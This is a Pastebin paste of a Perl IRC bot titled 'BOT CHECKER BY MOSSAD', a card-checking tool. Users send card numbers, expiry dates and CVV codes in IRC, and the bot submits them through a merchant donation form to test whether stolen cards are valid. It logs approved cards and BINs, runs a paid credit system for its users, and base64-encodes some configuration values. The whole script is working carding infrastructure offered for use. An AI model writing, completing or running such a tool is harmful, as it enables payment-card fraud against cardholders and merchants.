API tools faq
paste
Guest User

BOT CHECKER BY MOSSAD

a guest
May 10th, 2014
10,737
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 71.77 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl
  2. #BOT CHECKER BY MOSSAD
  3. #How to Turn-ON THE CHECKER ?
  4. #Step 1. Typing: !master
  5. #Step 2. Typing: !on
  6. #Done.
  7.  
  8. ############# Call to standalone modules directory #############
  9.  
  10. BEGIN{push(@INC,'Modules');}
  11.  
  12. ############# Modules Inclusion #############
  13.  
  14. use LWP::Socket;
  15. use LWP::UserAgent;
  16. use HTTP::Request;
  17. use Parallel::ForkManager;
  18. use MIME::Base64 ();
  19. use WWW::Mechanize;
  20. use WWW::Mechanize::FormFiller;
  21. use Socket;
  22. use IO::Socket;
  23. use IO::Socket::INET;
  24. use MIME::Base64;
  25. use Win32::API;
  26. use LWP::Protocol::https;
  27. use HTTP::Cookies;
  28. use Net::FTP;
  29. use Digest::MD5 qw(md5_hex);
  30.  
  31. ############# BOT STARTED #############
  32.  
  33. $| = 1;
  34. print q{
  35. Bot has been Loaded :)
  36. };
  37.  
  38. ############# Defines global variable/array #############
  39.  
  40. my($irc_socket,$server,$port,$ident,$nick,$timeout,$rfi_test_cmd,$rfi_print_cmd,$parallel_fork);
  41. my(@chans,@admins,@user_agents);
  42.  
  43. ############# Configurations Variable #############
  44.  
  45. my $outcri = "Mg==";
  46. $systemcri = MIME::Base64::decode($outcri);
  47. $timeout = $systemcri;
  48. my $hostcri = "ODcuMjM2LjE5NC42OQ==";
  49. $systemcri = MIME::Base64::decode($hostcri);
  50. $hosting = "irc.crimeircd.net";
  51. $port = 6667;
  52. my $nkpro = "CHECK-BOT";
  53. $ident = "~Checker";
  54. $parallel_fork = 15;
  55. my @botcmd = ('1');
  56. @chans = ("#yourchannel");
  57. @generalchans = ("#unix");
  58. my $proo = "Q29gQmV0ZQ==";
  59. $systempro = MIME::Base64::decode($proo);
  60. my $cheataer = "Q29gQmV0ZQ==";
  61. $sistempro = MIME::Base64::decode($cheataer);
  62. @admin = ('MOSSAD');
  63. @user_agents = &get_user_agents();
  64. $master = "MOSSAD"; #change it
  65. #$chkon = 1;
  66. #@premium = ('MOSSAD'); #change it
  67.  
  68. ############# Irc Socket Connection #############
  69.  
  70. my $startirc = "JGlyY19zb2NrZXQgPSBuZXcgTFdQOjpTb2NrZXQ7";
  71. $sysircuno = MIME::Base64::decode($startirc);
  72. $irc_socket = new LWP::Socket;
  73. $irc_socket->connect($hosting,$port);
  74. $irc_socket->write("USER ".$ident." 8 * : \r\n");
  75. $irc_socket->write("NICK ".$nkpro."\r\n");
  76. $irc_socket->write("NICKSERV IDENTIFY xxx\r\n");
  77. $irc_socket->write("JOIN $chans[0]\r\n");
  78. $irc_socket->write("JOIN $chans[1]\r\n");
  79. $irc_socket->write("JOIN $chans[2]\r\n");
  80. $irc_socket->write("JOIN $chans[3]\r\n");
  81. $irc_socket->write("JOIN $chans[4]\r\n");
  82. $irc_socket->write("JOIN $chans[5]\r\n");
  83.  
  84. while($irc_socket)
  85. {
  86. my $bof;
  87. $irc_socket->read_until("\n", \$bof);
  88. if($bof =~ /PING :(.*)/)
  89. {
  90. $irc_socket->write("PONG :$1\r\n");
  91. }
  92. if($bof =~ /PRIVMSG (.*?) :(.*)/)
  93. {
  94. #PRIVMSG
  95. my %msg = &get_msg($bof);
  96. my $nick = $msg{'from'};
  97.  
  98. ############# JOIN ALL CHANNEL #############
  99. if($msg{'what'} =~ /\!join_all/)
  100. {
  101. if(&ctrl_admin(\%msg) == 0){
  102. &join_all();
  103. }
  104. }
  105. ############# JOIN BOT #############
  106. if($msg{'what'} =~ /\!join\s+(.*)/)
  107. {
  108. my $chan = $1;
  109. if(&ctrl_admin(\%msg) == 0){
  110. $irc_socket->write("JOIN $chan\r\n");
  111. }
  112. }
  113. ############# PART BOT #############
  114. if($msg{'what'} =~ /\!part\s+(.*)/)
  115. {
  116. my $chan = $1;
  117. if(&ctrl_admin(\%msg) == 0){
  118. $irc_socket->write("PART $chan\r\n");
  119. }
  120. }
  121. ############# EXIT #############
  122. if($msg{'what'} =~ /\!q/){
  123. if(&ctrl_admin(\%msg) == 0){
  124. $irc_socket->write("quit Requested By $master\r\n");
  125. }
  126. }
  127. ############# BAN USER #############
  128. if($msg{'what'} =~ /\!ban\s+(.*)/){
  129. my $nickuser = $1;
  130. if(&ctrl_admin(\%msg) == 0){
  131. $irc_socket->write("BAN @chans ".$nickuser."\r\n");
  132. }
  133. }
  134. ############# KICK USER #############
  135. if($msg{'what'} =~ /\!kick\s+(.*)/){
  136. my $nickuser = $1;
  137. if(&ctrl_admin(\%msg) == 0){
  138. $irc_socket->write("KICK @chans ".$nickuser."\r\n");
  139. }
  140. }
  141. ############# REMOVE BANNED #############
  142. if($msg{'what'} =~ /\!unban\s+(.*)/){
  143. my $nickuser = $1;
  144. if(&ctrl_admin(\%msg) == 0){
  145. $irc_socket->write("CS UNBAN @chans ".$nickuser."\r\n");
  146. }
  147. }
  148. ############# CHANGE NICK #############
  149. if($msg{'what'} =~ /\!cnick\s+(.*)/)
  150. {
  151. my $cnick = $1;
  152. if(&ctrl_admin(\%msg) == 0){
  153. $irc_socket->write("NICK $cnick\r\n");
  154. }
  155. }
  156. ############# IDENTIFY #############
  157. if($msg{'what'} =~ /\!ident\s+(.*)/)
  158. {
  159. my $identi = $1;
  160. if(&ctrl_admin(\%msg) == 0){
  161. $irc_socket->write("NICKSERV IDENTIFY $identi\r\n");
  162. }
  163. }
  164. ############# RESET LOG #############
  165. if($msg{'what'} =~ /\!resetlog/)
  166. {
  167. my $identi = $1;
  168. if(&ctrl_admin(\%msg) == 0){
  169. open (DELETE, ">ResChecker.txt");
  170. print DELETE "";
  171. close DELETE;
  172. }
  173. }
  174. ############# ADD BANK #############
  175. if($msg{'what'} =~ /\!addbank\s+(.*)/)
  176. {
  177. my $addbank = $1;
  178. if(&ctrl_admin(\%msg) == 0){
  179. open (MYFILE, '>>banklist.txt');
  180. print MYFILE "$1\n";
  181. close (MYFILE);
  182. }
  183. }
  184. ############# IGNORE USER #############
  185. if($msg{'what'} =~ /\!ignore\s+(.*)/)
  186. {
  187. my $banned = $1;
  188. if(&ctrl_admin(\%msg) == 0){
  189. #&respond_to_privmsg(\%msg,"$master : 7,1 IGNORED0 :4 $1 ");
  190. open (MYFILE, '>>ignore.txt');
  191. print MYFILE "$1|$1\n";
  192. close (MYFILE);
  193. }
  194. }
  195. ############# REMOVE IGNORE #############
  196. if($msg{'what'} =~ /\!unignore\s+(.*)/)
  197. {
  198. my $unbanned = $1;
  199. if(&ctrl_admin(\%msg) == 0){
  200. #&respond_to_privmsg(\%msg,"$master : 7,1 UNIGNORED0 :3 $1 ");
  201. my $filename = 'ignore.txt';
  202. my $data = read_file($filename);
  203. $data =~ s/$unbanned\|$unbanned//g;
  204. write_file($filename, $data);
  205. }
  206. }
  207. ############# Topup Premium User #############
  208. if($msg{'what'} =~ /\!topup\s+(.*)\s+(\d{1,10})/){
  209. my $nicktopup = $1;
  210. my $topup = $2;
  211. if(&ctrl_admin(\%msg) == 0){
  212. &respond_to_privmsg(\%msg,"$master : 10,1 $nicktopup 0-7 Top Up Added 0:9 $topup ");
  213. my $filename = 'premium.txt';
  214. my $data = read_file($filename);
  215. $data =~ s/$nicktopup\|(.*)/$nicktopup\|$topup/g;
  216. write_file($filename, $data);
  217. }
  218. }
  219. ############# ADD PREMIUM USER #############
  220. if($msg{'what'} =~ /\!addnick\s+(.*)\s+(\d{1,10})/){
  221. my $nickprm = $1;
  222. my $nickcredits = $2;
  223. if(&ctrl_admin(\%msg) == 0){
  224. &respond_to_privmsg(\%msg,"$master : 10,1 $nickprm 0-7 Premium Credit Added 0:9 $nickcredits ");
  225. addlog("premium.txt", "$nickprm\|$nickcredits");
  226. }
  227. }
  228. ############# ADD CREDIT #############
  229. if($msg{'what'} =~ /\!addcredit\s+(\d{1,10})/){
  230. my $allo = $1;
  231. if(&ctrl_admin(\%msg) == 0){
  232. open(FILE, "+<freecredit.txt") or die "$! error";
  233. seek(FILE, 0, 0);
  234. truncate(FILE, tell FILE);
  235. $number = <FILE>;
  236. $number = int($number);
  237. print $1+"\n";
  238. print FILE $1;
  239. close FILE;
  240. &respond_to_privmsg(\%msg,"Free Credit Has Been Added 0: 0,7 $1 ");
  241. }
  242. }
  243.  
  244. ################################################################################################################################################
  245. ############# ON / OFF #############
  246. if($msg{'what'} =~ /^!(on|off)/){
  247. $val = $1;
  248. if(($activo == 1) && $nick =~ /$master/){
  249. if($val =~ /on/i){
  250. &respond_to_privmsg(\%msg,"Command Received14 => 0,7 ONLINE ");
  251. $auto =1;
  252. }else{
  253. &respond_to_privmsg(\%msg,"Command Received14 => 1,7 OFFLINE ");
  254. $auto=0;
  255. }
  256. }else{
  257. }
  258. }
  259. ############# STATUS #############
  260. #if($msg{'what'} =~ /\!status/){
  261. #if($auto == 1){
  262. #open(FILE, "<approved.txt") or die "$! error";
  263. #$approved = 0;
  264. #while (<FILE>) {
  265. #$approved++;
  266. #}
  267. #open(FILE, "<declined.txt") or die "$! error";
  268. #$declined = 0;
  269. #while (<FILE>) {
  270. #$declined++;
  271. #}
  272. #open (FILE, "ResChecker.txt") or die "Can't open file: $!";
  273. #$lines = 0;
  274. #while (<FILE>) {
  275. #$lines++;
  276. #}
  277. #&respond_to_privmsg(\%msg,"7,1 $nick 0:3 STATUS 0-9 ON 0-7 $approved 9APPROVED 0-7 $declined 4DECLINED 0-7 $lines 14Total Cards Checked ");
  278. #}else{
  279. #open(FILE, "<approved.txt") or die "$! error";
  280. #$approved = 0;
  281. #while (<FILE>) {
  282. #$approved++;
  283. #}
  284. #open(FILE, "<declined.txt") or die "$! error";
  285. #$declined = 0;
  286. #while (<FILE>) {
  287. #$declined++;
  288. #}
  289. #open (FILE, "ResChecker.txt") or die "Can't open file: $!";
  290. #$lines = 0;
  291. #while (<FILE>) {
  292. #$lines++;
  293. #}
  294. ##&respond_to_privmsg(\%msg,"7,1 $nick 0:3 STATUS 0-4 OFF 0-7 $approved 9APPROVED 0-7 $declined 4DECLINED 0-7 $lines 14Total Cards Checked ");
  295. #}
  296. #}
  297. ############# MY STATUS #############
  298. if($msg{'what'} =~ /\!status/){
  299. if($auto == 1){
  300. open FILE,"premium.txt";
  301. my @results = <FILE>;
  302. close FILE;
  303. my $chkprmcredits = 0;
  304. foreach my $url (@results){
  305. if($url =~m/$nick\|(.*)/&& $chkprmcredits == 0) {
  306. $chkprmcredits = $1;
  307. }
  308. }
  309. open(FILE, "<freecredit.txt") or die "$! error";
  310. seek(FILE, 0, 0);
  311. truncate(FILE, tell FILE);
  312. $number = <FILE>;
  313. $number = int($number);
  314. $freecredits = $number;
  315. open (FILE, "ResChecker.txt") or die "Can't open file: $!";
  316. $lines = 0;
  317. while (<FILE>) {
  318. $lines++;
  319. }
  320. &respond_to_privmsg(\%msg,"3,1 $nick 0:7 Your Premium Credit 0:9 $chkprmcredits 0-7 Free Credit 0:10 $freecredits 0-7 Total Cards Checked 0:10 $lines ");
  321. }
  322. }
  323. ############# MY CREDIT #############
  324. if($msg{'what'} =~ /\!mycredit/){
  325. if($auto == 1){
  326. open FILE,"premium.txt";
  327. my @results = <FILE>;
  328. close FILE;
  329. my $chkprmcredits = 0;
  330. foreach my $url (@results){
  331. if($url =~m/$nick\|(.*)/&& $chkprmcredits == 0) {
  332. $chkprmcredits = $1;
  333. }
  334. }
  335. open(FILE, "<freecredit.txt") or die "$! error";
  336. seek(FILE, 0, 0);
  337. truncate(FILE, tell FILE);
  338. $number = <FILE>;
  339. $number = int($number);
  340. $freecredits = $number;
  341. open (FILE, "ResChecker.txt") or die "Can't open file: $!";
  342. $lines = 0;
  343. while (<FILE>) {
  344. $lines++;
  345. }
  346. &respond_to_privmsg(\%msg,"3,1 $nick 0:7 Your Premium Credit 0:9 $chkprmcredits 0-7 Free Credit 0:10 $freecredits 0-7 Total Cards Checked 0:10 $lines ");
  347. }
  348. }
  349.  
  350. ################################################################################################################################################
  351. ################################# CHECKING CC ##################################################################################################
  352.  
  353. if($msg{'what'} =~ /\!chk\s+(\b[4536][0-9]{13,16}\b)\s+(\d{4})\s+(\b[0-9]{3,4}\b)/){
  354. if($auto == 1){
  355. ############# FLOOD CONTROL BY MOSSAD #############
  356. my $wait = flood_check( 1, 10, 'CARD' );
  357. if( $wait ) {
  358. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3 Please wait7 $wait Sec3 to Check Next Card!9,1 14,14 15,15 ");
  359. goto Akhir;
  360. } else {
  361. }
  362. #########################################
  363. my ($card,$expmes,$verifica) = ($1,$2,$3);
  364. my $m = substr($expmes,0,2);
  365. my $y = substr($expmes,2,4);
  366. if ($m == "01"){$m = "01";}
  367. if ($m == "02"){$m = "02";}
  368. if ($m == "03"){$m = "03";}
  369. if ($m == "04"){$m = "04";}
  370. if ($m == "05"){$m = "05";}
  371. if ($m == "06"){$m = "06";}
  372. if ($m == "07"){$m = "07";}
  373. if ($m == "08"){$m = "08";}
  374. if ($m == "09"){$m = "09";}
  375. my $range = 10;
  376. my $minimum = 1;
  377. my $curs = '$';
  378. my $random_number = 0;
  379. #my $random_number = int(rand($range)) + $minimum;
  380. my $urutan = 80;
  381. my $minimal = 1;
  382. my $nomor_acak = 01;
  383. #my $nomor_acak = int(rand($urutan)) + $minimal;
  384. #my $creditmax = 180;
  385. #my $creditmi = 1;
  386. #my $credits = int(rand($creditmax)) + $creditmi;
  387. my $amount = 5.00;
  388. my $tax = 5.00;
  389. my $total = $amount+$tax;
  390. my $cred = 190;
  391. my $credi = 1;
  392. my $credits = int(rand($cred)) - $credi;
  393. my $varType = 0;
  394. my $sleep = time()-20;
  395. my $name = "submit";
  396. my $value = "submit";
  397. my $button = "btn-confirm";
  398.  
  399. my ( $test, $tests ) = ( 1, 15 );
  400. my $num = int( rand( $test - $tests + 1 ) ) + $tests;
  401.  
  402. #my @n = (3,4,5,6,7,8,9,10,11,12,13,14,15);
  403. #my $num = $n[int rand @n];
  404.  
  405. ################## IGNORE ##################
  406. open(FILE, "+<ignore.txt") or die "$! error";
  407. my @results = <FILE>;
  408. close FILE;
  409. my $chknickVar = 0;
  410. foreach my $url (@results){
  411. if($url =~ m/(.*)\|$nick/ && $chknickVar == 0) {
  412. $chknickVar = 1;
  413. #&respond_to_privmsg(\%msg,"3,1 $nick 0: -7 IGNORED 0- 14Your access has been denied! ", $nick );
  414. goto Akhir;
  415. }
  416. }
  417. ################## FREE CREDITS ##################
  418. open(FILE, "+<freecredit.txt") or die "$! error";
  419. $number = <FILE>;
  420. $number = int($number);
  421. $credits = $number-1;
  422. seek(FILE, 0, 0);
  423. truncate(FILE, tell FILE);
  424. print FILE $credits;
  425. close(FILE);
  426.  
  427. foreach my $line ($credits) {
  428. if($line =~ /-/) {
  429. goto Akhir;
  430. }
  431. }
  432. ################## RESCHECKER & BANKLIST ##################
  433. open FILE,"ResChecker.txt";
  434. my @results = <FILE>;
  435. close FILE;
  436. my $chkResVar = 0;
  437. foreach my $url (@results){
  438. if($url =~ m/$card 9APPROVED/&& $chkResVar == 0) {
  439. $chkResVar = 1;
  440. open FILE,"banklist.txt";
  441. my @results = <FILE>;
  442. close FILE;
  443. my $bank = 0;
  444. my $nuova = substr($card,0,6);
  445. foreach my $url (@results){
  446. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  447. $bank = 1;
  448. &respond_to_privmsg(\%msg,"");
  449. }
  450. }
  451. if($bank == 0){
  452. &respond_to_privmsg(\%msg,"");
  453. }
  454. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card 0:4 Already Checked!9,1 14,14 15,15 ");
  455. goto toEnd;
  456. }
  457. if($url =~ m/$card 4DECLINED/&& $chkResVar == 0) {
  458. $chkResVar = 1;
  459. open FILE,"banklist.txt";
  460. my @results = <FILE>;
  461. close FILE;
  462. my $bank = 0;
  463. my $nuova = substr($card,0,6);
  464. foreach my $url (@results){
  465. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  466. $bank = 1;
  467. &respond_to_privmsg(\%msg,"");
  468. }
  469. }
  470. if($bank == 0){
  471. &respond_to_privmsg(\%msg,"");
  472. }
  473. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card 0:4 Already Checked!9,1 14,14 15,15 ");
  474. goto toEnd;
  475. }
  476. }
  477. ##################### TYPE CARD #####################
  478. if (substr($card,0,1)==4) {
  479. $cctype = "Visa";
  480. }
  481. if (substr($card,0,1)==5) {
  482. $cctype = "MasterCard";
  483. }
  484. if (substr($card,0,1)==6) {
  485. $cctype = "Amex";
  486. }
  487. if (substr($card,0,1)==3) {
  488. $cctype = "Amex";
  489. }
  490. ##################### MERCHANT BOT #####################
  491. my $agent = WWW::Mechanize->new( autocheck => 1,ssl_opts => {verify_hostname => 1},);
  492. my $formfiller = WWW::Mechanize::FormFiller->new();
  493. $agent->env_proxy();
  494. $agent->get('update your merchant here');
  495. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  496. $agent->form_number(1);
  497. { local $^W; $agent->current_form->value('nombre', ''.$card.''); };
  498. { local $^W; $agent->current_form->value('exp_month', ''.$m.''); };
  499. { local $^W; $agent->current_form->value('exp_year', '20'.$y.''); };
  500. { local $^W; $agent->current_form->value('the_code', ''.$verifica.''); };
  501. { local $^W; $agent->current_form->value('chrono_verification', '1234'); };
  502. $agent->submit();
  503. #{ local $^W; $agent->current_form->value('charge_total', '0.01'); };
  504. #{ local $^W; $agent->current_form->value('card_code', ''.$verifica.''); };
  505. #{ local $^W; $agent->current_form->value('expire_year', '20'.$y.''); };
  506. #$agent->click_button(name => "$button");
  507. #{ local $^W; $agent->tick('payment_method', 'on'); };
  508. #$agent->submit('Charge my account now');
  509. #$agent->submit('btn-submit imgHover');
  510. #$agent->current_form()->click( class, 'btn-submit imgHover' );
  511. #$agent->submit(#);
  512. #$agent->click(value => 'Process Donation');
  513. #system('echo fail');
  514. #initForm(document.getElementById("frmDonate"));
  515. #print "<FORM action=\"message.pl\" method=\"post\" name=\"form1\" onsubmit=\"return(CheckForm_onclick())\">\n";
  516. print $agent->content,"\n";
  517. print $js_array;
  518. my $allo=$agent->content;
  519. #addlog("output_scripts.html", "$allo");
  520. ############################################################################################################
  521. if ($allo =~/The transaction has been declined because of an AVS mismatch./){
  522. open FILE,"banklist.txt";
  523. my @results = <FILE>;
  524. close FILE;
  525. my $bank = 0;
  526. my $nuova = substr($card,0,6);
  527. foreach my $url (@results){
  528. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  529. $bank = 1;
  530. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 9APPROVED! 0-14 AVS Mismatch (27) 0- 7,1BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  531. addlog("ResChecker.txt", "$card 9APPROVED");
  532. addlog("approved.txt", "$card 9APPROVED");
  533. }
  534. }
  535. if($bank == 0){
  536. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 9APPROVED! 0-14 AVS Mismatch (27) 0- 7,1BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  537. addlog("ResChecker.txt", "$card 9APPROVED");
  538. addlog("approved.txt", "$card 9APPROVED");
  539. addlog("bankinfo.txt", "BIN : $nuova");
  540. }
  541. ############################################################################################################
  542. }elsif ($allo =~/Your donation was processed successfully./){
  543. my ($current,$avs,$csc,$transid,$opt2) = ($2,$3,$4,$5,$6);
  544. open FILE,"banklist.txt";
  545. my @results = <FILE>;
  546. close FILE;
  547. my $bank = 0;
  548. my $nuova = substr($card,0,6);
  549. foreach my $url (@results){
  550. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  551. $bank = 1;
  552. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 9APPROVED! 0-14 AVS Mismatch 0- 7BANK 0:10 $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  553. addlog("ResChecker.txt", "$card 9APPROVED");
  554. addlog("approved.txt", "$card 9APPROVED");
  555. }
  556. }
  557. if($bank == 0){
  558. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 9APPROVED! 0-14 AVS Mismatch 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  559. addlog("ResChecker.txt", "$card 9APPROVED");
  560. addlog("approved.txt", "$card 9APPROVED");
  561. addlog("bankinfo.txt", "BIN : $nuova");
  562. }
  563. ############################################################################################################
  564. }elsif ($allo =~/Approval/){
  565. open FILE,"banklist.txt";
  566. my @results = <FILE>;
  567. close FILE;
  568. my $bank = 0;
  569. my $nuova = substr($card,0,6);
  570. foreach my $url (@results){
  571. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  572. $bank = 1;
  573. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 9APPROVED! 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  574. addlog("ResChecker.txt", "$card 9APPROVED");
  575. addlog("approved.txt", "$card 9APPROVED");
  576. }
  577. }
  578. if($bank == 0){
  579. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 9APPROVED! 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  580. addlog("ResChecker.txt", "$card 9APPROVED");
  581. addlog("approved.txt", "$card 9APPROVED");
  582. addlog("bankinfo.txt", "BIN : $nuova");
  583. }
  584. ############################################################################################################
  585. }elsif ($allo =~/submission/){
  586. open FILE,"banklist.txt";
  587. my @results = <FILE>;
  588. close FILE;
  589. my $bank = 0;
  590. my $nuova = substr($card,0,6);
  591. foreach my $url (@results){
  592. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  593. $bank = 1;
  594. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 9APPROVED! 0- 14Thank you! 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  595. addlog("ResChecker.txt", "$card 9APPROVED");
  596. addlog("approved.txt", "$card 9APPROVED");
  597. }
  598. }
  599. if($bank == 0){
  600. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 9APPROVED! 0- 14Thank you! 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  601. addlog("ResChecker.txt", "$card 9APPROVED");
  602. addlog("approved.txt", "$card 9APPROVED");
  603. addlog("bankinfo.txt", "BIN : $nuova");
  604. }
  605. ############################################################################################################
  606. }elsif ($allo =~/Invalid Credit Card Number/){
  607. open FILE,"banklist.txt";
  608. my @results = <FILE>;
  609. close FILE;
  610. my $bank = 0;
  611. my $nuova = substr($card,0,6);
  612. foreach my $url (@results){
  613. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  614. $bank = 1;
  615. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 15Invalid Credit Card Number 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  616. }
  617. }
  618. if($bank == 0){
  619. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 15Invalid Credit Card Number 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  620. addlog("bankinfo.txt", "BIN : $nuova");
  621. }
  622. ############################################################################################################
  623. }elsif ($allo =~/Invalid card number/){
  624. open FILE,"banklist.txt";
  625. my @results = <FILE>;
  626. close FILE;
  627. my $bank = 0;
  628. my $nuova = substr($card,0,6);
  629. foreach my $url (@results){
  630. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  631. $bank = 1;
  632. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 14Invalid card number [6] 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  633. }
  634. }
  635. if($bank == 0){
  636. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 14Invalid card number [6] 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  637. addlog("bankinfo.txt", "BIN : $nuova");
  638. }
  639. ############################################################################################################
  640. }elsif ($allo =~/Duplicate transaction/){
  641. open FILE,"banklist.txt";
  642. my @results = <FILE>;
  643. close FILE;
  644. my $bank = 0;
  645. my $nuova = substr($card,0,6);
  646. foreach my $url (@results){
  647. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  648. $bank = 1;
  649. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 7Duplicate transaction [11] 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  650. }
  651. }
  652. if($bank == 0){
  653. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 7Duplicate transaction [11] 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  654. addlog("bankinfo.txt", "BIN : $nuova");
  655. }
  656. ############################################################################################################
  657. }elsif ($allo =~/An error occurred during processing./){
  658. open FILE,"banklist.txt";
  659. my @results = <FILE>;
  660. close FILE;
  661. my $bank = 0;
  662. my $nuova = substr($card,0,6);
  663. foreach my $url (@results){
  664. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  665. $bank = 1;
  666. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0:15 An error occurred during processing [120] 0- 4[0,1MARKED LOST4] 7BANK 0:10 $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  667. }
  668. }
  669. if($bank == 0){
  670. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0:15 An error occurred during processing [120] 0- 4[0,1MARKED LOST4] 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  671. addlog("bankinfo.txt", "BIN : $nuova");
  672. }
  673. ############################################################################################################
  674. }elsif ($allo =~/A duplicate transaction has been submitted./){
  675. open FILE,"banklist.txt";
  676. my @results = <FILE>;
  677. close FILE;
  678. my $bank = 0;
  679. my $nuova = substr($card,0,6);
  680. foreach my $url (@results){
  681. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  682. $bank = 1;
  683. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0:15 A duplicate transaction has been submitted. [318] 0- 4[0,1CARD REJECTED4] 7BANK 0:10 $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  684. }
  685. }
  686. if($bank == 0){
  687. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0:15 A duplicate transaction has been submitted. [318] 0- 4[0,1CARD REJECTED4] 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  688. addlog("bankinfo.txt", "BIN : $nuova");
  689. }
  690. ############################################################################################################
  691. }elsif ($allo =~/The credit card has expired./){
  692. open FILE,"banklist.txt";
  693. my @results = <FILE>;
  694. close FILE;
  695. my $bank = 0;
  696. my $nuova = substr($card,0,6);
  697. foreach my $url (@results){
  698. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  699. $bank = 1;
  700. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0:4 DECLINED! 0-14 Card Expired14,1 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  701. }
  702. }
  703. if($bank == 0){
  704. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0:4 DECLINED! 0-14 Card Expired14,1 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  705. addlog("bankinfo.txt", "BIN : $nuova");
  706. }
